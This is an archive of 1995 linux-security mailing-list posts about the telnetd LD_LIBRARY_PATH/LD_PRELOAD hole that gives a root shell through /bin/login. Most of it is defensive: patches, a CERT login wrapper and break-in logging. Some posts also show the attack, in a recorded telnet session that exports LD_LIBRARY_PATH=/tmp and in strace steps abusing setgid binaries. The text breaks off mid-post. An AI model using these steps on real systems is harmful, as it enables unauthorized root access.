E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 From [email protected] Sun Nov 5 16:02:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06184; Sun, 5 Nov 1995 15:42:54 -0500 Received: from passer.osg.gov.bc.ca ([email protected] [142.32.110.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id AAA27284; Fri, 3 Nov 1995 00:21:44 -0500 Received: from localhost (localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.7.1/8.6.10) with SMTP id VAA25158; Thu, 2 Nov 1995 21:21:36 -0800 (PST) From: Cy Schubert - BCSC Open Systems Group Message-Id: <[email protected]> X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol Reply-to: [email protected] X-Mailer: DXmail To: [email protected] cc: [email protected] Subject: Telnetd Security Hole Date: Thu, 02 Nov 95 21:21:35 -0800 X-Mts: smtp Sender: [email protected] Precedence: list In response to the CERT advisory regarding the telentd seurity hole that causes /bin/login to relinquish a root shell, I have put together a patch for telnetd in the NetKit-B-0.5 package, based on a FreeBSD patch posted by Mark Hittinger ([email protected]) to the comp.security.unix newsgroup. Note that the changes to telnetd.h compensate for kernel changes made after NetKit-B-0.5 came out. It's been tested for an evening, so no guarentees are made. *** sys_term.org Sun Sep 10 04:39:50 1995 --- sys_term.c Wed Nov 1 10:43:32 1995 *************** *** 1292,1295 **** --- 1292,1297 ---- char **addarg(); + scrub_env(); + /* * -h : pass on name of host. *************** *** 1392,1395 **** --- 1395,1424 ---- } #endif /* NEWINIT */ + + /* + * scrub_env() + * + * Remove a few things from the environment that + * don't need to be there. + */ + scrub_env() + { + register char **cpp, **cpp2; + + for (cpp2 = cpp = environ; *cpp; cpp++) { + #ifdef __FreeBSD__ + if (strncmp(*cpp, "LD_LIBRARY_PATH=", 16) && + strncmp(*cpp, "LD_NOSTD_PATH=", 14) && + strncmp(*cpp, "LD_PRELOAD=", 11) && + #else + if (strncmp(*cpp, "LD_", 3) && + strncmp(*cpp, "_RLD_", 5) && + strncmp(*cpp, "LIBPATH=", 8) && + #endif + strncmp(*cpp, "IFS=", 4)) + *cpp2++ = *cpp; + } + *cpp2 = 0; + } /* *** telnetd.h.orig Thu Nov 2 20:14:33 1995 --- telnetd.h Thu Nov 2 19:52:14 1995 *************** *** 47,49 **** --- 47,54 ---- /* other external variables */ extern char **environ; extern int errno; + + #define TELOPT_ENVIRON TELOPT_OLD_ENVIRON + #define ENV_VAR OLD_ENV_VAR + #define ENV_VAR OLD_ENV_VAR + #define ENV_VALUE OLD_ENV_VALUE Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." From [email protected] Sun Nov 5 16:02:26 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06151; Sun, 5 Nov 1995 15:39:02 -0500 Received: from inorganic5.chem.ufl.edu ([email protected] [128.227.16.134]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id PAA21227; Wed, 1 Nov 1995 15:53:25 -0500 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.12/8.6.12) id PAA13213; Wed, 1 Nov 1995 15:53:28 -0500 Date: Wed, 1 Nov 1995 15:53:26 -0500 (EST) From: Jon Lewis To: [email protected] Subject: telnetd shared lib hole Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Call me silly, but since this hole operates by "secretly replacing your real libc with Foldgers Crystals libc" and having telnetd use the bogus libc, would all this be fixed with no need for careful patching / environment cleaning if we simply compiled telnetd and statically linked it? Then it would need no shared libs, and you'd be unable to force it to load a hacked libc...no? It may not be an elegant solution...but is it one at all? ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ From [email protected] Sun Nov 5 16:02:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06142; Sun, 5 Nov 1995 15:38:25 -0500 Received: from passer.osg.gov.bc.ca ([email protected] [142.32.110.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id TAA26571; Thu, 2 Nov 1995 19:58:48 -0500 Received: from localhost (localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.7.1/8.6.10) with SMTP id QAA24470 for [email protected]; Thu, 2 Nov 1995 16:58:45 -0800 (PST) From: Cy Schubert - BCSC Open Systems Group Message-Id: <[email protected]> X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol Reply-to: [email protected] X-Mailer: DXmail To: [email protected] Subject: Telnetd Environment Vulnerability Date: Thu, 02 Nov 95 16:58:43 -0800 X-Mts: smtp Sender: [email protected] Precedence: list There is a serious problem with various telnetd daemons which will cause /bin/login to give a root shell. I haven't had a chance to test this on my Linux boxes at home, however it does fix the problem under DEC's OSF/1. I managed to find this wrapper in CERT Advisory CA-95:14. /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * */ #include #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/bin/login.real" #endif main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } } *p2 = 0; execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." From [email protected] Sun Nov 5 16:02:28 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06170; Sun, 5 Nov 1995 15:41:19 -0500 Received: from inorganic5.chem.ufl.edu ([email protected] [128.227.16.134]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id WAA22044; Wed, 1 Nov 1995 22:22:19 -0500 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.12/8.6.12) id WAA15049; Wed, 1 Nov 1995 22:22:23 -0500 Date: Wed, 1 Nov 1995 22:22:23 -0500 (EST) From: Jon Lewis To: [email protected] Subject: telnetd shared lib hole Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Well...I was silly. Compiling a static in.telnetd solves nothing. I don't quite understand why static telnetd and login binaries still appeared to exhibit the hole. I ended up getting the updated source from a debian mirror site and compiled a clean telnetd that does not exhibit the hole. ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ [Mod: A static in.telnetd won't really fix this; the environment is passed on to /bin/login which also needs to be static. I can't figure out why compiling both programs statically would not fix things... --Jeff.] From [email protected] Sun Nov 5 16:07:18 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06236; Sun, 5 Nov 1995 15:55:34 -0500 Received: from elwha.evergreen.edu (elwha.evergreen.edu [192.211.16.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id PAA30413; Fri, 3 Nov 1995 15:38:42 -0500 Received: by elwha.evergreen.edu; (5.65/1.1.8.2/16Jan95-8.2MPM) id AA07179; Fri, 3 Nov 1995 12:37:44 -0800 Date: Fri, 3 Nov 1995 12:37:43 -0800 (PST) From: matt sommer To: [email protected] Subject: Telnet vulnerability: shared libraries (fwd) Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list hey folks, i am surprised that no one has cross posted this yet, so here it is... in both the included posting from BUGTRAQ and the corresponding CERT advisory (CA-95:14) they do not state explicitly that Slackware based Linux is vulnerable but as you can see those of us using telnetd from NetKit-B-0.05 definately are... -------- Script started on Wed Nov 1 23:13:13 1995 [23:13:13]:~$ telnet telnet> env define LD_LIBRARY_PATH /tmp telnet> env export LD_LIBRARY_PATH telnet> set options Will show option processing. telnet> o xxx.xxx.xxx Trying xxx.xxx.xxx... Connected to xxx.xxx.xxx Escape character is '^]'. SENT DO SUPPRESS GO AHEAD SENT WILL TERMINAL TYPE SENT WILL NAWS SENT WILL TSPEED SENT WILL LFLOW SENT WILL LINEMODE SENT WILL ENVIRON <<<<<<<<<<<<< SENT DO STATUS SENT WILL XDISPLOC RCVD DO AUTHENTICATION SENT WONT AUTHENTICATION RCVD WILL SUPPRESS GO AHEAD RCVD DO TERMINAL TYPE RCVD DO NAWS SENT IAC SB NAWS 0 80 (80) 0 25 (25) RCVD DO TSPEED RCVD DO LFLOW RCVD DONT LINEMODE RCVD DO ENVIRON <<<<<<<<<<<<< RCVD WILL STATUS RCVD DO XDISPLOC RCVD IAC SB TERMINAL-SPEED SEND SENT IAC SB TERMINAL-SPEED IS 38400,38400 RCVD IAC SB X-DISPLAY-LOCATION SEND SENT IAC SB X-DISPLAY-LOCATION IS "xxx:0.0" RCVD IAC SB ENVIRON SEND SENT IAC SB ENVIRON IS VAR "LD_LIBRARY_PATH" VALUE "/tmp" VAR "DISPLAY" VALUE "xxx:0.0" RCVD IAC SB TERMINAL-TYPE SEND SENT IAC SB TERMINAL-TYPE IS "XTERM" RCVD DO ECHO SENT WONT ECHO RCVD WILL ECHO SENT DO ECHO Linux 1.2.8 (xxx.xxx.xxx) Unauthorized access is a criminal offense. If you are not an authorized user, disconnect NOW. login: can't load library '/tmp/libc.so.4' Permission denied login: Connection closed by foreign host. [23:14:34]:~$ exit Script done on Wed Nov 1 23:14:40 1995 ------------- i believe that it might be possible to use the CERT wrapper ( see CA-95:14 ) in login.c from the new shadow suite ( shadow-3.3.2 ) to get login to "ignore" certain environment strings passed to it but i havent had much time to play with it... cu, m. ----- just keeping the trains running... [Mod: Repeat posting of Sam Hartman's bugtraq posting deleted. --Jeff] From [email protected] Sun Nov 5 17:47:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA08043; Sun, 5 Nov 1995 17:37:11 -0500 Received: from inorganic5.chem.ufl.edu ([email protected] [128.227.16.134]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id QAA06958; Sun, 5 Nov 1995 16:46:30 -0500 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.12/8.6.12) id QAA03542; Sun, 5 Nov 1995 16:46:21 -0500 Date: Sun, 5 Nov 1995 16:46:21 -0500 (EST) From: Jon Lewis To: Erik Nygren cc: [email protected] Subject: Re: telnetd shared lib hole In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 5 Nov 1995, Erik Nygren wrote: > > Call me silly, but since this hole operates by "secretly replacing your > > real libc with Foldgers Crystals libc" and having telnetd use the bogus > > libc, would all this be fixed with no need for careful patching / > > environment cleaning if we simply compiled telnetd and statically linked > > The problem is NOT that telnetd is dynamically linked. The problem So I was silly....Shortly after my post, I compiled telnetd and found that staticly linking it changed nothing. Login still was given the bogus LD_LIBRARY_PATH and could still be made to do nasty things with a hacked libc. It's been mentioned that static login will delay use of the hacked libc until after login, where it can do relatively little harm. As the original post said, a patched telnetd source can be gotten from sites carrying the debian distribution. I've finally compiled a hacked libc that takes advantage of this...so now I can say that in.telnetd that comes with many versions of slackware (up to 2.3 at least) is definitely vulnerable. The latest debian source for telnetd is not. ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ From [email protected] Sun Nov 5 17:47:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA08034; Sun, 5 Nov 1995 17:36:50 -0500 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id QAA06753; Sun, 5 Nov 1995 16:33:56 -0500 Received: from FOUNDATION.MIT.EDU by MIT.EDU with SMTP id AA02650; Sun, 5 Nov 95 16:33:03 EST Received: from localhost by foundation.mit.edu (8.6.10/4.7) id QAA01598; Sun, 5 Nov 1995 16:33:49 -0500 Message-Id: <[email protected]> To: Jon Lewis Cc: [email protected] Subject: Re: telnetd shared lib hole In-Reply-To: Your message of "Wed, 01 Nov 1995 15:53:26 EST." Date: Sun, 05 Nov 1995 16:33:47 -0500 From: Erik Nygren Sender: [email protected] Precedence: list > Call me silly, but since this hole operates by "secretly replacing your > real libc with Foldgers Crystals libc" and having telnetd use the bogus > libc, would all this be fixed with no need for careful patching / > environment cleaning if we simply compiled telnetd and statically linked > it? Then it would need no shared libs, and you'd be unable to force it to > load a hacked libc...no? The problem is NOT that telnetd is dynamically linked. The problem is that telnetd sets the environmental variables before it calls login. In theory, statically linking login might fix the problem but I haven't tested this. A much safer solution is to patch telnetd not to set dangerous environmental variables. Erik [Mod: This is the tack that people are taking; it's being/been done. --Jeff] linux-security/1995/linux-security.951106100664 1767 1767 70210 6047536133 17256 0ustar majdommajdomFrom [email protected] Mon Nov 6 13:40:49 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA09146; Mon, 6 Nov 1995 13:17:06 -0500 Received: from inorganic5.chem.ufl.edu ([email protected] [128.227.16.134]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id CAA05145; Mon, 6 Nov 1995 02:12:08 -0500 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.12/8.6.12) id CAA05809; Mon, 6 Nov 1995 02:11:33 -0500 Date: Mon, 6 Nov 1995 02:11:33 -0500 (EST) From: Jon Lewis To: Aleph One cc: [email protected] Subject: Re: telnetd shared lib hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 6 Nov 1995, Aleph One wrote: > You need to compile login staticly, not telnetd. > > > Well...I was silly. Compiling a static in.telnetd solves nothing. > > > > I don't quite understand why static telnetd and login binaries still > > appeared to exhibit the hole. I think its starting to make sense now. I assume in.telnetd must already be running when the environment stuff gets passed to it...no? So specifying a hacked libc won't affect telnetd since it's already running, right?...and it then passes the bad env vars to login. > > [Mod: A static in.telnetd won't really fix this; the environment is > > passed on to /bin/login which also needs to be static. I can't figure > > out why compiling both programs statically would not fix I think it was mentioned in bugtraq that static login does fix it, since it gives more or less the same effect as telnetting in normally and then saying LD_LIBRARY_PATH=/foo at the shell prompt. I think the trouble is some people/os's can't do that. I wrote a hack to crypt that will exploit the hole on both shadowed and non-shadowed systems...but I'm not posting it...mostly because I used system() to insert a shell script in crypt (ugly!)...and also because I'm not sure if it's appropriate to post such a thing. ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ From [email protected] Mon Nov 6 13:51:54 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA09324; Mon, 6 Nov 1995 13:49:14 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA09302; Mon, 6 Nov 1995 13:48:25 -0500 Date: Mon, 6 Nov 1995 13:48:25 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: Jon Lewis Cc: Aleph One , [email protected] Subject: Re: telnetd shared lib hole In-Reply-To: Your message of Mon, November 6, 1995 02:11:33 -0500 References: X-Quote-I-Like: "In all truth, these talented, hardworking, law-abiding, mature, adult [hackers] are far more disturbing to the peace and order of the current status quo than any scofflaw group of romantic teenage punk kids." --Bruce Sterling (in "The Hacker Crackdown"). X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "JL" == Jon Lewis writes: >> > [Mod: A static in.telnetd won't really fix this; the environment is >> > passed on to /bin/login which also needs to be static. JL> I think it was mentioned in bugtraq that static login does fix it, Yes. My use of the word "also" in my note was a poor choice of wording (it's superfluous); in.telnetd does not need to be static since it is not using the environment variables that are passed to it for its own library loading. I knew what I meant, I just didn't word things correctly--I apologize for any misunderstanding that may have caused. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Mon Nov 6 15:23:48 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA09804; Mon, 6 Nov 1995 15:18:14 -0500 Received: from uran.informatik.uni-bonn.de (uran.informatik.uni-bonn.de [131.220.8.49]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id DAA05754; Mon, 6 Nov 1995 03:38:16 -0500 Received: from gatekeeper.rhein.de ([email protected] [193.175.27.1]) by uran.informatik.uni-bonn.de (8.7.1-ws3/8.7.1-ws3) with ESMTP id JAA08000 for ; Mon, 6 Nov 1995 09:38:14 +0100 (MET) Received: from sobolev (Usobolev@localhost) by gatekeeper.rhein.de (8.7.1-ws3/8.7.1-ws3) with BSMTP id JAA13908 for [email protected]; Mon, 6 Nov 1995 09:38:06 +0100 (MET) Received: (from roessler@localhost) by sobolev.rhein.de (8.7.1/8.7.1) id JAA10749 for [email protected]; Mon, 6 Nov 1995 09:03:14 +0100 From: Thomas Roessler Message-Id: <[email protected]> Subject: Re: Telnetd Environment Vulnerability To: [email protected] Date: Mon, 6 Nov 1995 09:03:11 +0100 (MET) In-Reply-To: <[email protected]> from "Cy Schubert - BCSC Open Systems Group" at Nov 2, 95 04:58:43 pm Organization: Qnf eurva.qr-Xbzcybgg. MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list * Cy Schubert - BCSC Open Systems Group wrote: > There is a serious problem with various telnetd daemons which will cause > /bin/login to give a root shell. I haven't had a chance to test this on my > Linux boxes at home, however it does fix the problem under DEC's OSF/1. You should mention that it's absolutely necessary to statically link this wrapper; otherwise it won't be effective. tlr From [email protected] Mon Nov 6 15:23:54 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA09842; Mon, 6 Nov 1995 15:20:14 -0500 Received: from TNET.portage.net (TNET.portage.net [204.112.250.36]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id IAA07069; Mon, 6 Nov 1995 08:17:42 -0500 Received: (from root@localhost) by TNET.portage.net (8.6.12/8.6.9) id HAA00492; Mon, 6 Nov 1995 07:17:38 -0600 Date: Mon, 6 Nov 1995 07:17:37 -0600 (CST) From: SysAdmin - TNET Systems To: [email protected] Subject: ld.so gaping hole. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Ok folks, listen up... the telnetd hole was minor, because anyone could use the LD_LIBRARY_PATH and LD_PRELOAD to get root with just about anything. patching login, telnetd, ect ect is not going to fix this problem. You have to start at the source. ld.so All it took, was two lines of preprocessor code in the source file ld.so.c No huge patches, ect. The following describes the course of action I took: 1) got myself the source to ld.so 1.5.3 2) commented out the environment variable(s) checks by using a #ifndef __BIG_HOLE__, #endif Specificly: LD_LIBRARY_PATH and LD_PRELOAD were commented out. 3) recompiled and installed ld.so while defining __BIG_HOLE__ LD_PRELOAD, LD_LIBRARY_PATH are really not needed. If you are going to use them, rename them, hash the names up in the ld.so binary (evade strings), or use some sort of protocol for specifying them. For example, modify the ld.so.c file to search for a special char, of your choosing, in the environment variables. If not present, ignore the variables. So not only to you get to save disk space (although nominal) over adding patches, or wrappers... you get an even much more securer system. Why was this not mentioned previously ? It took me 5 minutes to patch/compile/install the new ld.so (not counting the fact that I had gotten previously the source to an ELF ld.so when I am a.out :/ 1.7.3 is elf, and elf only. For a.out users, use 1.5.3) Special thanks to Medulla for the idea and assitance behind this one. Chad Giffin TNET Information Systems Canada [email protected] (204) 857-5754 From [email protected] Mon Nov 6 15:23:54 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA09855; Mon, 6 Nov 1995 15:20:52 -0500 Received: from melchior.cuivre.fdn.fr (cuivre.fdn.fr [194.57.210.12]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id MAA08966; Mon, 6 Nov 1995 12:56:54 -0500 Received: by melchior.cuivre.fdn.fr (Smail3.1.29.1 #2) id m0tCUwo-0009qnC; Mon, 6 Nov 95 18:03 MET Message-Id: Date: Mon, 6 Nov 95 18:03 MET From: [email protected] (Thomas Quinot) Subject: (fwd) SSLtelnet patch To: [email protected] Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list Date: Wed, 1 Nov 1995 20:07:19 -0600 (CST) From: Aleph One X-Old-To: [email protected] Cc: [email protected] Subject: SSLtelnet patch Message-ID: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: list Sender: [email protected] Approved: [email protected] Newsgroups: linux.security Path: melchior.cuivre.fdn.fr!Mail-to-News Lines: 88 This patch address the current CERT advisory about the telnet vulnerability. It was created under linux using SSLtelnet 0.2. Iam not sure what the latest is but here it is anyway. You need to change LD_LIBRARY_PATH to whatever is dangerous in your OS. diff -u -r SSLtelnet-0.2/telnetd/Makefile SSLtelnet-0.2-new/telnetd/Makefile --- SSLtelnet-0.2/telnetd/Makefile Tue Aug 15 16:53:25 1995 +++ SSLtelnet-0.2-new/telnetd/Makefile Wed Nov 1 16:01:32 1995 @@ -7,7 +7,7 @@ CFLAGS= -DTERMCAP -DKLUDGELINEMODE -DUSE_TERMIO -DAUTHENTICATE -DUSE_SSL \ -DDIAGNOSTICS -DFILIO_H \ -I../lib -I../lib/libbsd/include \ - -I$(SSLTOP)/include + -I$(SSLTOP)/include -O2 -m486 LIBS= ../lib/libtelnet/libtelnet.a \ ../lib/libutil/libutil.a \ diff -u -r SSLtelnet-0.2/telnetd/state.c SSLtelnet-0.2-new/telnetd/state.c --- SSLtelnet-0.2/telnetd/state.c Thu Oct 14 13:49:12 1993 +++ SSLtelnet-0.2-new/telnetd/state.c Wed Nov 1 16:56:41 1995 @@ -1257,9 +1257,27 @@ case ENV_VAR: *cp = '\0'; - if (valp) + if (valp) { + if (!strcmp(varp, "LD_LIBRARY_PATH")) { + char *host; + struct hostent *hp; + struct sockaddr_in from; + int i, fromlen = sizeof(from); + + if (!getpeername(0, (struct sockaddr *)&from, &fromlen)) { + hp = gethostbyaddr((char *)&from.sin_addr, sizeof(struct in_addr), from.sin_family); + if (hp) + host = hp->h_name; + else + host = inet_ntoa(from.sin_addr); + syslog(LOG_ALERT, "Breakin attempt from %s: '%s=%s'", host, varp, valp); + } else { + syslog(LOG_ALERT, "Breakin attempt: '%s=%s'", varp, valp); + } + exit(1); + } (void)setenv(varp, valp, 1); - else + } else unsetenv(varp); cp = varp = (char *)subpointer; valp = 0; @@ -1276,9 +1294,27 @@ } } *cp = '\0'; - if (valp) + if (valp) { + if (!strcmp(varp, "LD_LIBRARY_PATH")) { + char *host; + struct hostent *hp; + struct sockaddr_in from; + int i, fromlen = sizeof(from); + + if (!getpeername(0, (struct sockaddr *)&from, &fromlen)) { + hp = gethostbyaddr((char *)&from.sin_addr, sizeof(struct in_addr), from.sin_family); + if (hp) + host = hp->h_name; + else + host = inet_ntoa(from.sin_addr); + syslog(LOG_ALERT, "Breakin attempt from %s: '%s=%s'", host, varp, valp); + } else { + syslog(LOG_ALERT, "Breakin attempt: '%s=%s'", varp, valp); + } + exit(1); + } (void)setenv(varp, valp, 1); - else + } else unsetenv(varp); break; } /* end of case TELOPT_ENVIRON */ Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 -- [email protected] | Linux : the choice of a GNU generation From [email protected] Mon Nov 6 15:23:54 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA09822; Mon, 6 Nov 1995 15:19:20 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id HAA06834; Mon, 6 Nov 1995 07:08:39 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk) by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA06943; Mon, 6 Nov 95 06:54:30 EST Message-Id: From: [email protected] (Alan Cox) Subject: Re: SSLtelnet patch To: [email protected] (Aleph One) Date: Mon, 6 Nov 1995 11:39:51 +0000 (GMT) Cc: [email protected], [email protected] In-Reply-To: from "Aleph One" at Nov 1, 95 08:07:19 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 429 Sender: [email protected] Precedence: list > This patch address the current CERT advisory about the telnet > vulnerability. It was created under linux using SSLtelnet 0.2. > Iam not sure what the latest is but here it is anyway. > You need to change LD_LIBRARY_PATH to whatever is dangerous in your > OS. > No it doesnt. There are other variables you must clear (PRELOAD/ELF/AOUT only variables) - and if you use login shell scripts for restricted acocunts IFS. Alan From [email protected] Mon Nov 6 15:23:55 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA09815; Mon, 6 Nov 1995 15:19:04 -0500 Received: from ereet.org (pdial1.brainiac.com [165.90.139.101]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id GAA06651; Mon, 6 Nov 1995 06:15:59 -0500 Received: (from medulla@localhost) by ereet.org (8.6.12/8.6.9) id GAA00393; Mon, 6 Nov 1995 06:11:38 -0500 Date: Mon, 6 Nov 1995 06:11:30 -0500 (EST) From: medulla To: [email protected] Subject: linux a.out ld.so problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list While I was playing around with the telnetd hole, I noticed something terribly wrong with a.out systems (elf is fine in my test). It seems that even if a program is suid or sgid, that the LD_LIBRARY_PATH is still being used, so setting login g+s will have no effect (and more worrisome is that any suid program can be abused to get root). Here is a example, am I missing something obvious? The ld.so man page clearly says the variable(s) are ignored when the app is suid or sgid, but this doesnt appear to be the case. --- snip hfpa:~# cp /lib/libc.so.4 /tmp hfpa:~# cp /bin/ls . hfpa:~# chmod g+s ls hfpa:~# strace -o ls.1 ./ls hfpa:~# grep /tmp ls.1 hfpa:~# setenv LD_LIBRARY_PATH /tmp hfpa:~# strace -o ls.2 ./ls hfpa:~# grep /tmp ls.2 uselib("/tmp/libc.so.4") = 0 --- snip From [email protected] Mon Nov 6 15:24:06 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA09864; Mon, 6 Nov 1995 15:21:13 -0500 Received: from melchior.cuivre.fdn.fr (cuivre.fdn.fr [194.57.210.12]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id MAA08975; Mon, 6 Nov 1995 12:57:06 -0500 Received: by melchior.cuivre.fdn.fr (Smail3.1.29.1 #2) id m0tCUxV-0009qoC; Mon, 6 Nov 95 18:03 MET Message-Id: Date: Mon, 6 Nov 95 18:03 MET From: [email protected] (Thomas Quinot) Subject: (fwd) Telnetd Security Hole To: [email protected] Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list From: Cy Schubert - BCSC Open Systems Group Message-ID: <[email protected]> X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol X-Mailer: DXmail X-Old-To: [email protected] cc: [email protected] Subject: Telnetd Security Hole Date: Thu, 02 Nov 95 21:21:35 -0800 X-Mts: smtp Precedence: list Sender: [email protected] Approved: [email protected] Newsgroups: linux.security Path: melchior.cuivre.fdn.fr!Mail-to-News Lines: 79 In response to the CERT advisory regarding the telentd seurity hole that causes /bin/login to relinquish a root shell, I have put together a patch for telnetd in the NetKit-B-0.5 package, based on a FreeBSD patch posted by Mark Hittinger ([email protected]) to the comp.security.unix newsgroup. Note that the changes to telnetd.h compensate for kernel changes made after NetKit-B-0.5 came out. It's been tested for an evening, so no guarentees are made. *** sys_term.org Sun Sep 10 04:39:50 1995 --- sys_term.c Wed Nov 1 10:43:32 1995 *************** *** 1292,1295 **** --- 1292,1297 ---- char **addarg(); + scrub_env(); + /* * -h : pass on name of host. *************** *** 1392,1395 **** --- 1395,1424 ---- } #endif /* NEWINIT */ + + /* + * scrub_env() + * + * Remove a few things from the environment that + * don't need to be there. + */ + scrub_env() + { + register char **cpp, **cpp2; + + for (cpp2 = cpp = environ; *cpp; cpp++) { + #ifdef __FreeBSD__ + if (strncmp(*cpp, "LD_LIBRARY_PATH=", 16) && + strncmp(*cpp, "LD_NOSTD_PATH=", 14) && + strncmp(*cpp, "LD_PRELOAD=", 11) && + #else + if (strncmp(*cpp, 